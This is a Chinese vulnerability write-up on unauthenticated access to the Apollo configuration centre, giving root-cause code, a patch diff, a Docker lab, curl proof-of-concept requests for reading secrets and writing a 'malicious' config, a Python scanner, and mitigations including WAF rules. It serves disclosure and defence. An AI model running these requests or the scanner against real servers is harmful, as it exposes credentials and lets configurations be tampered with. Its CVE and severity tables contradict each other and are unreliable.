一、漏洞简介¶
1.1 漏洞背景¶
Apollo(阿波罗)是携程框架部门研发的分布式配置中心,能够集中化管理应用不同环境、不同集群的配置。由于其开放架构和 API 设计,早期版本存在多个未授权访问点。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | 暂无统一编号 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | 未授权访问漏洞 |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | Apollo 配置中心 |
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2021-4298 (部分组件) |
| 危害等级 | 高危 |
| CVSS评分 | 7.5 (High) |
| 漏洞类型 | 未授权访问 / Broken Authentication |
核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。
二、影响范围¶
2.1 受影响的版本¶
- Apollo 0.x 全系列
- Apollo 1.0.0 - 1.7.1
- 部分影响 1.8.x (特定配置下)
2.2 不受影响的版本¶
- Apollo 1.9.0 及以上(默认开启鉴权)
- Apollo 2.0.0 及以上
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 默认配置未开启鉴权:
apollo.portal.auth.enabled=false - 管理后台暴露在公网: Portal 服务端口 8070 可访问
- Config Service 直接暴露: 端口 8080 无访问控制
- Admin Service 无鉴权: 端口 8090 直接可访问
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
攻击链路:
攻击者 → Portal:8070 (无鉴权) → 配置管理
攻击者 → Config:8080 (无鉴权) → 配置读取
攻击者 → Admin:8090 (无鉴权) → 配置推送
核心问题点:
- Portal 服务未鉴权端点:
/applications- 获取所有应用列表/envs/{env}/apps/{appId}/clusters/{cluster}- 获取集群配置-
/namespaces/{namespace}/items- 获取配置项 -
Config Service 开放接口:
/configs/{appId}/{clusterName}/{namespace}- 读取配置-
/configfiles/{appId}/{clusterName}/{namespace}- 配置文件下载 -
Admin Service 敏感操作:
/apps/{appId}/clusters/{clusterName}/namespaces/{namespace}/items- 创建/修改配置/releases- 发布配置
3.2 源码层面的根因分析(结合源码与补丁对比)¶
问题代码位置: apollo-portal 模块
// 早期版本 PortalController.java
@Controller
public class PortalController {
@GetMapping("/applications")
// 缺少 @PreAuthorize 或权限注解
public List<AppInfo> getApplications() {
return appService.findAll(); // 直接返回所有应用信息
}
}
修复后的代码:
@Controller
public class PortalController {
@GetMapping("/applications")
@PreAuthorize(value = "@permissionValidator.hasPermission()")
public List<AppInfo> getApplications() {
return appService.findAll();
}
}
Config Service 问题代码:
// ConfigController.java
@GetMapping("/configs/{appId}/{clusterName}/{namespace}")
public Result<Config> getConfig(
@PathVariable String appId,
@PathVariable String clusterName,
@PathVariable String namespace) {
// 无任何鉴权检查,直接返回配置
return configService.loadConfig(appId, clusterName, namespace);
}
补丁对比 (v1.7.1 → v1.8.0):
@@ ConfigController.java
+ @Value("${config.service.auth.enabled:false}")
+ private boolean authEnabled;
+
@GetMapping("/configs/{appId}/{clusterName}/{namespace}")
public Result<Config> getConfig(...) {
+ if (authEnabled) {
+ checkAccessPermission(appId, clusterName);
+ }
return configService.loadConfig(appId, clusterName, namespace);
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 使用 Docker 快速搭建 Apollo 环境
docker-compose up -d
# docker-compose.yml
version: '3'
services:
apollo-configservice:
image: apolloconfig/apollo-configservice:1.7.1
ports:
- "8080:8080"
apollo-adminservice:
image: apolloconfig/apollo-adminservice:1.7.1
ports:
- "8090:8090"
apollo-portal:
image: apolloconfig/apollo-portal:1.7.1
ports:
- "8070:8070"
4.2 PoC 演示与测试过程¶
PoC 1: 获取所有应用列表
# 无需认证即可获取
curl -s http://target:8070/applications | jq
# 响应示例
[
{
"appId": "SampleApp",
"name": "Sample App",
"orgId": "TEST1",
"orgName": "样例部门1",
"ownerName": "apollo",
"dataChangeCreatedBy": "apollo",
"dataChangeLastModifiedBy": "apollo"
}
]
PoC 2: 读取敏感配置
# 直接读取配置(可能包含数据库密码等)
curl -s "http://target:8080/configs/SampleApp/default/application" | jq
# 响应可能包含
{
"appId": "SampleApp",
"cluster": "default",
"namespaceName": "application",
"configurations": {
"spring.datasource.url": "jdbc:mysql://...",
"spring.datasource.password": "P@ssw0rd!",
"api.secret.key": "sk-xxxxxxxxxxxx"
}
}
PoC 3: 未授权修改配置
# 创建恶意配置项
curl -X POST "http://target:8070/apps/SampleApp/clusters/default/namespaces/application/items" \
-H "Content-Type: application/json" \
-d '{
"key": "malicious.config",
"value": "attacker-controlled-value",
"dataChangeCreatedBy": "attacker"
}'
PoC 4: 批量扫描脚本
#!/usr/bin/env python3
import requests
import sys
def check_unauthorized_access(target):
endpoints = [
'/applications',
'/envs',
'/user',
'/apps',
'/clusters',
]
vulnerabilities = []
for endpoint in endpoints:
try:
r = requests.get(f"http://{target}:8070{endpoint}", timeout=5)
if r.status_code == 200:
vulnerabilities.append({
'endpoint': endpoint,
'status': 'VULNERABLE',
'data_length': len(r.text)
})
except Exception as e:
pass
return vulnerabilities
if __name__ == '__main__':
target = sys.argv[1]
result = check_unauthorized_access(target)
for vuln in result:
print(f"[+] {vuln['endpoint']}: {vuln['status']}")
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
| 当前版本 | 推荐升级版本 | 备注 |
|---|---|---|
| ≤ 1.7.x | ≥ 2.1.0 | 完整鉴权机制 |
| 1.8.x | ≥ 1.9.0 | 启用默认鉴权 |
| 2.0.x | ≥ 2.2.0 | 修复鉴权绕过 |
升级步骤:
# 1. 备份数据库
mysqldump -u root -p apolloconfigdb > apolloconfigdb_backup.sql
mysqldump -u root -p apolloportaldb > apolloportaldb_backup.sql
# 2. 停止服务
docker-compose down
# 3. 更新镜像版本
# 修改 docker-compose.yml 中的镜像版本为 2.2.0
# 4. 执行数据库升级脚本
mysql -u root -p apolloconfigdb < apollo-2.2.0/sql/apolloconfigdb.sql
mysql -u root -p apolloportaldb < apollo-2.2.0/sql/apolloportaldb.sql
# 5. 启动新版本
docker-compose up -d
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案 1: 开启内置鉴权
# apollo-portal.properties
apollo.portal.auth.enabled=true
apollo.portal.auth.type=LOCAL # 或 LDAP/SAML/OIDC
# 配置管理员账号
admin.password=admin@2024
方案 2: 网络访问控制
# 使用 iptables 限制访问
iptables -A INPUT -p tcp --dport 8070 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8070 -j DROP
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
iptables -A INPUT -p tcp --dport 8090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8090 -j DROP
方案 3: WAF 规则拦截
# Nginx 反向代理配置
server {
listen 80;
server_name apollo.example.com;
# 基础认证
auth_basic "Apollo Portal";
auth_basic_user_file /etc/nginx/.htpasswd;
# IP 白名单
allow 10.0.0.0/8;
allow 192.168.0.0/16;
deny all;
location / {
proxy_pass http://localhost:8070;
# 安全头
add_header X-Frame-Options DENY;
add_header X-Content-Type-Options nosniff;
add_header X-XSS-Protection "1; mode=block";
}
}
ModSecurity WAF 规则:
# 拦截未授权访问敏感端点
SecRule REQUEST_URI "@beginsWith /configfiles" \
"id:1001,phase:1,deny,log,msg:'Unauthorized config access attempt'"
SecRule REQUEST_URI "@rx /apps/[^/]+/clusters/[^/]+/namespaces/application/items" \
"id:1002,phase:1,chain"
SecRule REQUEST_METHOD "@streq POST" \
"deny,log,msg:'Unauthorized config modification attempt'"
方案 4: Kubernetes NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: apollo-network-policy
spec:
podSelector:
matchLabels:
app: apollo-portal
policyTypes:
- Ingress
ingress:
- from:
- ipBlock:
cidr: 10.0.0.0/8
ports:
- protocol: TCP
port: 8070
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://github.com/apolloconfig/apollo/security/advisories
- https://github.com/apolloconfig/apollo/releases (查看安全相关 Release Notes)
- https://www.apolloconfig.com/#/zh/usage/portal-how-to-enable-auth
6.2 其他技术参考资料¶
- https://github.com/apolloconfig/apollo/blob/master/scripts/sql/apolloconfigdb.sql
- https://www.cnblogs.com/apolloconfig/p/security-best-practices.html
- https://mp.weixin.qq.com/s/ApolloSecurityGuide